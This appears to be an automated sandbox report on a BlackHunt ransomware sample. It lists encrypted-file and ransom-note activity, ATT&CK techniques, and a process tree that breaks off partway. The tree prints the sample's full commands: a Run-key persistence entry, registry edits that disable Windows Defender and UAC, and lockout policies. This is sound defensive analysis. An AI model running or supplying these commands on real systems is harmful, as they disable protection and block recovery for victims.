File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Kosrae	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\meta_engine\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.nl_zh_4.4.0.v20140623020002.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\DVD Maker\en-US\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Search.api	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_VideoInset.png	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\scrapbook.png	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Vostok	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files (x86)\Google\Update\Install\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\blackbars80.png	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer_3.2.200.v20140827-1444.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Adak	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_output\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\title_trans_notes.wmv	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.text_3.5.300.v20130515-1451.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Seoul	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Tucuman	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-windows.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-actions.xml	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core_ja.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Novokuznetsk	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\vlc.mo	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\SuspendCompare.doc	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\15x15dot.png	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Fiji	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.xml	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Windhoek	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Currie	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\browse_window.html	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\luac.luac	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationRight_ButtonGraphic.png	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2720	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
324	vssadmin.exe
2400	vssadmin.exe
1836	vssadmin.exe
1184	vssadmin.exe
1100	vssadmin.exe
3856	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1644	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4108	PING.EXE

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeRestorePrivilege	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeBackupPrivilege	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeTakeOwnershipPrivilege	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeAuditPrivilege	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeSecurityPrivilege	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeIncBasePriorityPrivilege	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeBackupPrivilege	1732	vssvc.exe
Token: SeRestorePrivilege	1732	vssvc.exe
Token: SeAuditPrivilege	1732	vssvc.exe
Token: SeBackupPrivilege	3428	wbengine.exe
Token: SeRestorePrivilege	3428	wbengine.exe
Token: SeSecurityPrivilege	3428	wbengine.exe
Token: SeSecurityPrivilege	3596	wevtutil.exe
Token: SeBackupPrivilege	3596	wevtutil.exe
Token: SeSecurityPrivilege	1512	wevtutil.exe
Token: SeBackupPrivilege	1512	wevtutil.exe
Token: SeSecurityPrivilege	2632	wevtutil.exe
Token: SeBackupPrivilege	2632	wevtutil.exe
Token: SeSecurityPrivilege	5420	wevtutil.exe
Token: SeBackupPrivilege	5420	wevtutil.exe
Token: SeSecurityPrivilege	3864	wevtutil.exe
Token: SeBackupPrivilege	3864	wevtutil.exe
Token: SeDebugPrivilege	1644	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2208 wrote to memory of 1852	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	29
PID 2208 wrote to memory of 1852	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	29
PID 2208 wrote to memory of 1852	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	29
PID 2208 wrote to memory of 1852	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	29
PID 2208 wrote to memory of 2964	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	31
PID 2208 wrote to memory of 2964	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	31
PID 2208 wrote to memory of 2964	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	31
PID 2208 wrote to memory of 2964	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	31
PID 2208 wrote to memory of 2804	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	33
PID 2208 wrote to memory of 2804	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	33
PID 2208 wrote to memory of 2804	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	33
PID 2208 wrote to memory of 2804	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	33
PID 2208 wrote to memory of 2604	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	132
PID 2208 wrote to memory of 2604	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	132
PID 2208 wrote to memory of 2604	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	132
PID 2208 wrote to memory of 2604	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	132
PID 1852 wrote to memory of 2568	1852	cmd.exe	35
PID 1852 wrote to memory of 2568	1852	cmd.exe	35
PID 1852 wrote to memory of 2568	1852	cmd.exe	35
PID 2208 wrote to memory of 2652	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	38
PID 2208 wrote to memory of 2652	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	38
PID 2208 wrote to memory of 2652	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	38
PID 2208 wrote to memory of 2652	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	38
PID 2964 wrote to memory of 2672	2964	cmd.exe	40
PID 2964 wrote to memory of 2672	2964	cmd.exe	40
PID 2964 wrote to memory of 2672	2964	cmd.exe	40
PID 2208 wrote to memory of 2680	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	41
PID 2208 wrote to memory of 2680	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	41
PID 2208 wrote to memory of 2680	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	41
PID 2208 wrote to memory of 2680	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	41
PID 2208 wrote to memory of 2656	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	42
PID 2208 wrote to memory of 2656	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	42
PID 2208 wrote to memory of 2656	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	42
PID 2208 wrote to memory of 2656	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	42
PID 2208 wrote to memory of 2976	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	44
PID 2208 wrote to memory of 2976	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	44
PID 2208 wrote to memory of 2976	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	44
PID 2208 wrote to memory of 2976	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	44
PID 2208 wrote to memory of 2304	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	46
PID 2208 wrote to memory of 2304	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	46
PID 2208 wrote to memory of 2304	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	46
PID 2208 wrote to memory of 2304	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	46
PID 2804 wrote to memory of 2560	2804	cmd.exe	48
PID 2804 wrote to memory of 2560	2804	cmd.exe	48
PID 2804 wrote to memory of 2560	2804	cmd.exe	48
PID 2208 wrote to memory of 2756	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	50
PID 2208 wrote to memory of 2756	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	50
PID 2208 wrote to memory of 2756	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	50
PID 2208 wrote to memory of 2756	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	50
PID 2208 wrote to memory of 2676	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	52
PID 2208 wrote to memory of 2676	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	52
PID 2208 wrote to memory of 2676	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	52
PID 2208 wrote to memory of 2676	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	52
PID 2208 wrote to memory of 2704	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	56
PID 2208 wrote to memory of 2704	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	56
PID 2208 wrote to memory of 2704	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	56
PID 2208 wrote to memory of 2704	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	56
PID 2604 wrote to memory of 2628	2604	conhost.exe	54
PID 2604 wrote to memory of 2628	2604	conhost.exe	54
PID 2604 wrote to memory of 2628	2604	conhost.exe	54
PID 2208 wrote to memory of 2024	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	135
PID 2208 wrote to memory of 2024	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	135
PID 2208 wrote to memory of 2024	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	135
PID 2208 wrote to memory of 2024	2208	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	135

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
"C:\Users\Admin\AppData\Local\Temp\7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2912
- - C:\Windows\system32\reg.exe
